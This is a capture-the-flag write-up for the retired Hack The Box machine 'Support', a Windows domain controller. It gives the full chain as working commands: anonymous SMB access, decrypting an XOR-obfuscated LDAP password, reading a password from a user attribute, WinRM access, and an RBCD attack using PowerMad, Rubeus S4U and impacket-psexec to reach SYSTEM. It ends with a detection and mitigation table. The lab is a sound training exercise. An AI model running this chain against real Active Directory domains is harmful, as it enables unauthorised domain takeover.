Support
Quick facts
Section titled “Quick facts”| Platform | Hack The Box (retired) |
| OS | Windows — DC dc.support.htb, domain support.htb |
| Difficulty | Easy |
| Approx. time | ~40 min |
| Chain | Anonymous SMB → UserInfo.exe (XOR LDAP bind pass) → support user’s info field → WinRM → GenericAll over the DC → RBCD + S4U → psexec → SYSTEM |
flowchart TD A["Anonymous SMB: support-tools share"] --> B["UserInfo.exe (.NET)"] B -->|ILSpy / Wireshark| C["LDAP bind password<br/>ldap@support.htb (XOR)"] C -->|ldapsearch| D["support user<br/>info field = password"] D -->|evil-winrm| E["support (user.txt)"] E -->|BloodHound| F["Shared Support Accounts<br/>GenericAll over the DC"] F -->|create machine + RBCD| G["msds-allowedtoactonbehalfof…"] G -->|Rubeus S4U → Administrator| H["cifs/dc.support.htb ticket"] H -->|psexec -k| I["NT AUTHORITY\SYSTEM"]
- An SMB share (
support-tools) readable anonymously holdsUserInfo.exe, a .NET binary that queries LDAP. Decompiling it (ILSpy) or capturing its traffic (Wireshark) gives the password it binds to LDAP with asldap@support.htb(XOR-encrypted). - With that bind, we list the directory and see that the
supportuser has its password in theinfofield. We log in over WinRM. supportbelongs toShared Support Accounts, which has GenericAll over the DC. With that we mount an RBCD attack: create a machine, configure the delegation and, with an S4U, get a ticket asAdministrator→ SYSTEM.
1. Reconnaissance
Section titled “1. Reconnaissance”-
Port scan
What I do:
Ventana de terminal IP=<target_ip>ports=$(sudo nmap -p- --min-rate 5000 -n -Pn $IP | grep '^[0-9]' | cut -d/ -f1 | paste -sd,)sudo nmap -sCV -p$ports $IP -oN nmap/targetedWhat I see: AD ports: 389/636 (LDAP/LDAPS), 445 (SMB), 5985 (WinRM). No web.
What I think: Windows + AD with no web → start with SMB. → Network service enumeration
2. Initial access: from the share to the LDAP bind
Section titled “2. Initial access: from the share to the LDAP bind”-
Anonymous share
What I do:
Ventana de terminal smbclient -L \\\\$IP\\ -Nsmbclient \\\\$IP\\support-tools -Nsmb> get UserInfo.exe.zipWhat I see: a non-standard share,
support-tools, with installers (putty, WireShark) and one file that stands out:UserInfo.exe.zip.What I think: the known installers are noise; the custom executable is the target. → AD / SMB enumeration
-
Analyze the .NET binary
What I do: unzip and see that
UserInfo.exeis a .NET assembly. I decompile it with ILSpy.What I see (snippet):
entry = new DirectoryEntry("LDAP://support.htb", "support\\ldap", password);// password comes from Protected.getPassword():enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";key = Encoding.ASCII.GetBytes("armando");// array[i] ^ key[i % len] ^ 0xDFWhat I think: the LDAP bind password is XOR-encrypted (Base64 → XOR with key
armando→ XOR with0xDF). I replicate the decryption:import base64from itertools import cycleenc = base64.b64decode("0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E")key = b"armando"print(''.join(chr(e ^ k ^ 0xDF) for e, k in zip(enc, cycle(key))))# nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz -
Enumerate LDAP with the bind
What I do:
Ventana de terminal echo "$IP support.htb dc.support.htb" | sudo tee -a /etc/hostsldapsearch -x -H ldap://support.htb -D 'ldap@support.htb' \-w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "dc=support,dc=htb" "*"What I see: among the users,
supporthas a non-standard attributeinfoholdingIronside47pleasure40Watchful, and it belongs toRemote Management Users.What I think: the
info(notes) field looking like a password + membership of Remote Management Users = a WinRM credential. → Credential hunting -
WinRM as support
What I do:
Ventana de terminal evil-winrm -i support.htb -u support -p 'Ironside47pleasure40Watchful'What I see: a shell as
support.user.txt→abcd…wxyz(redacted).
3. Escalation to Domain Admin: RBCD
Section titled “3. Escalation to Domain Admin: RBCD”-
BloodHound: find the path
What I do: collect data with SharpHound (or
bloodhound-python) and marksupportas owned.What I see: the
Shared Support Accountsgroup, whichsupportis a member of, has GenericAll over the DC object.What I think: GenericAll over a computer = full control of its attributes, including
msDS-AllowedToActOnBehalfOfOtherIdentity. That enables an RBCD (Resource-Based Constrained Delegation). → ACL abuse · AD delegation -
RBCD requirements
What I think: the attack needs three things, and I have them:
- A user in
Authenticated Users→ can add machines to the domain. ms-DS-MachineAccountQuota > 0(default 10).- WRITE over the target computer (here GenericAll over the DC).
Ventana de terminal Get-ADObject -Identity ((Get-ADDomain).distinguishedName) -Properties ms-DS-MachineAccountQuota# 10 - A user in
-
Create a machine and configure the delegation
What I do: from the WinRM shell, with PowerMad and the AD module:
Ventana de terminal New-MachineAccount -MachineAccount FAKE-COMP01 -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force)Set-ADComputer -Identity DC -PrincipalsAllowedToDelegateToAccount FAKE-COMP01$Get-ADComputer -Identity DC -Properties PrincipalsAllowedToDelegateToAccountWhy it works: I create the
FAKE-COMP01computer (mine, I know its password) and, thanks to GenericAll, I write on the DC that it trustsFAKE-COMP01to act on its behalf (msDS-AllowedToActOnBehalfOfOtherIdentity). That’s the essence of RBCD. -
S4U: ticket as Administrator
What I do: compute the RC4 hash of the machine password and request the ticket with Rubeus.
Ventana de terminal .\Rubeus.exe hash /password:Password123 /user:FAKE-COMP01$ /domain:support.htb.\Rubeus.exe s4u /user:FAKE-COMP01$ /rc4:<rc4_hmac> /impersonateuser:Administrator `/msdsspn:cifs/dc.support.htb /domain:support.htb /pttWhy it works: since
FAKE-COMP01can act on behalf of the DC, I run an S4U2self + S4U2proxy to request acifs/dc.support.htbservice ticket impersonatingAdministrator. The service will accept that ticket. → Lateral movement and delegation -
From ticket to SYSTEM
What I do: export the ticket, convert it to impacket’s format and open a shell.
Ventana de terminal base64 -d ticket.kirbi.b64 > ticket.kirbiimpacket-ticketConverter ticket.kirbi ticket.ccacheKRB5CCNAME=ticket.ccache impacket-psexec support.htb/administrator@dc.support.htb -k -no-passcat C:\Users\Administrator\Desktop\root.txtWhat I see:
nt authority\system.root.txt→abcd…wxyz(redacted).
Progressive hints
Section titled “Progressive hints”The anonymous share has an executable that isn’t known software. What does it do and how does it authenticate?
The bind password is obfuscated. Decompile with ILSpy or capture the bindRequest with Wireshark.
When listing LDAP, look at the users’ non-standard attributes. Which one looks like a password?
Your group has GenericAll over the DC. Which delegation attribute can you write with that?
Dead ends
Section titled “Dead ends”| What I tried | Result | How I ruled it out |
|---|---|---|
LDAP injection via Wine (-first "*") |
Fails under Wine | The injection only works running the binary on Windows; it wasn’t needed |
| Hunting more credentials in shares | Nothing | The path was the binary, not another file |
| Kerberoasting / AS-REP | No useful accounts | The route was the ACL (GenericAll → RBCD) |
Methodology takeaways
Section titled “Methodology takeaways”- A custom binary in a share → analyze it (ILSpy for .NET,
strings, Wireshark). Auth secrets are usually embedded and poorly obfuscated. - XOR / Base64 is not encryption: if you see a fixed key and
^, replicate it in 5 lines of Python. - When enumerating LDAP, check non-standard attributes (
info,description,comment). Passwords end up there. - GenericAll / WriteDACL over a computer → think RBCD. It’s the standard escalation when you control a host’s delegation attributes.
- RBCD needs
MachineAccountQuota > 0. If it’s 0, find another route (or an already-controlled computer).
Detection and mitigation
Section titled “Detection and mitigation”| Phase | Detection | Mitigation |
|---|---|---|
| Anonymous share with binaries | Events 5140/5145; review binaries with embedded credentials | Remove anonymous access; don’t distribute binaries holding secrets |
Credential in the info field |
Audit user attributes for secrets | Don’t store passwords in LDAP attributes; rotate them |
| Machine creation (RBCD) | Event 4741 (computer created), 5136 on msDS-AllowedToActOnBehalfOfOtherIdentity |
MachineAccountQuota = 0; review who has WRITE over the DCs |
| S4U / Pass-the-Ticket | 4769 with SPN cifs/dc, anomalous impersonation |
Mark sensitive accounts as “not delegable”; protect the admin group |
References
Section titled “References”- Elad Shamir — “Wagging the Dog” (RBCD): https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
- The Hacker Recipes — RBCD: https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd
- Microsoft —
msDS-AllowedToActOnBehalfOfOtherIdentity: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adsc/